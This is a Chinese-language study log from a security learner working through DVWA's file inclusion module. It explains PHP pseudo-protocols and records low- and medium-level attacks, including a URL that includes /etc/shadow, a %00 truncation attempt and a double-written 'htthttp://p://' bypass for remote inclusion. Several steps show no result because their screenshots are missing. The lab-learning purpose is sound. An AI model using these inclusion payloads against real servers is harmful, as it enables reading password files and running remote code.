複述本週任務

時間：2020.5.29——2020.6.06
內容：

學習file inclusion（文件包含），瞭解各種僞協議知識

完成dvwa第四個模塊file inclusion

繼續學習php

學習file inclusion（文件包含），瞭解各種僞協議知識

file inclusion概念

⭐ File Inclusion：指當服務器開啓allow_url_include選項時，就可以通過php的某些特性函數（include()，require()和include_once()，require_once()）利用url去動態包含文件，此時如果沒有對文件來源進行嚴格審查，就會導致任意文件讀取或者任意命令執行。
⭐ 分類：

本地文件包含漏洞

遠程文件包含漏洞（開啓了allow_url_fopen選項）

一些函數和參數：

僞協議

附學習鏈接：PHP 僞協議深入理解

php://

——訪問各個輸入/輸出流（I/O streams）

php:// input
——可以訪問請求的原始數據的只讀數據流
php:// output
——可以訪問請求的原始數據的只寫數據流
php:// filter
php:// memory 和 php:// temp

data:// （數據）

用法：
data://text/plain;base64,
轉換過濾器

convert.*
base64
string.*

file://

—— 訪問本地文件系統

完成dvwa第四個模塊file inclusion

在上一個小任務中，已經對file inclusion文件包含有了一定的瞭解，下面，將利用DVWA對其進行實踐性學習。
同樣，有
low、medium、high、impossible四種難易等級。

前提設置

有顯示：The PHP function allow_url_include is not enabled.
因此，再網上搜到一些解決方案：把 php.ini 配置中的allow_url_include = Off 改成 On，但是我並沒有出現和他一樣的反應。
換了一種有同經歷的經驗貼，對phpstudy --> 環境 --> php --> 看遠程包含是否打開。

然後就可以了：

low級別

view source：

服務器端對page參數沒有做任何的過濾，下面的三個php文件點擊就可以打開。

⚪ 漏洞利用
本地文件包含：

構造惡意url：http://本地ip/dvwa-master/vulnerabilities/fi/?page=/etc/shadow

⭐ /etc/shadow：linux下所有的用戶名，密碼信息會放在/etc/shadow下。

會彈出warning，並且暴露出服務器文件的絕對路徑；
構造url：http://本地ip/dvwa-master/vulnerabilities/fi/?page=D:\phpstudy_pro\WWW\DVWA-master\php.ini
構造url：

這裏出現了一個新知識點：
⭐ Magic_quote_gpc選項
學習鏈接：PHP magic_quotes_gpc()函數

一切的編程都需要在magic_quotes_gpc=Off 下進行
在php版本小於5.3.4的服務器中，當Magic_quote_gpc選項爲Off 時，可在文件名中%00進行截斷，即文件名中%00後的內容不會被識別

我們可以通過利用Magic_quote_gpc選項繞過page參數後綴必須是php這個過濾規則。

因此，構造url：

但是，沒有成功…

用hackbar：

在網上搜了一下：新版phpstudy切換php版本(php版本切換無效問題)jie

However，還是有問題：

存疑待解

遠程文件包含：

輸入下圖所示url，得到：

medium級別

view source：

代碼使用了str_replace函數，利用該函數對page參數進行了一定的處理，將"http:// "、“https://”、
、
以上四個進行了過濾（替換爲空字符），但還是可以利用雙寫等措施來繞過替換規則。例如page=htthttp://p://10.10.10.151/phpinfo.txt時，str_replace函數會將http://過濾掉，於是就變爲page=http://10.10.10.151/phpinfo.txt，成功執行遠程命令。

新知識點：
⭐ str_replace()函數
學習鏈接：PHP str_replace() 函數

本地文件包含：

雖然下面有報錯：
Warning: Cannot modify header information - headers already sent by…在網上搜了一下…應該是沒成功，先放着…
存疑待解

遠程文件包含：
將http://替換爲hthttp://tp://，輸入下圖所示url。得到：

high級別

調整Security Level爲High的時候，打開File Inclusion出現以下界面：

在網上找到了解決方法：

按照路徑找到high.php；
添加以下語句：

if(!function_exists('fnmatch')) {
   function fnmatch($pattern, $string) {
     return preg_match("#^".strtr(preg_quote($pattern, '#'),array('\*' => '.*', '\?'=> '.'))."$#i", $string); 
     } // end
} // end if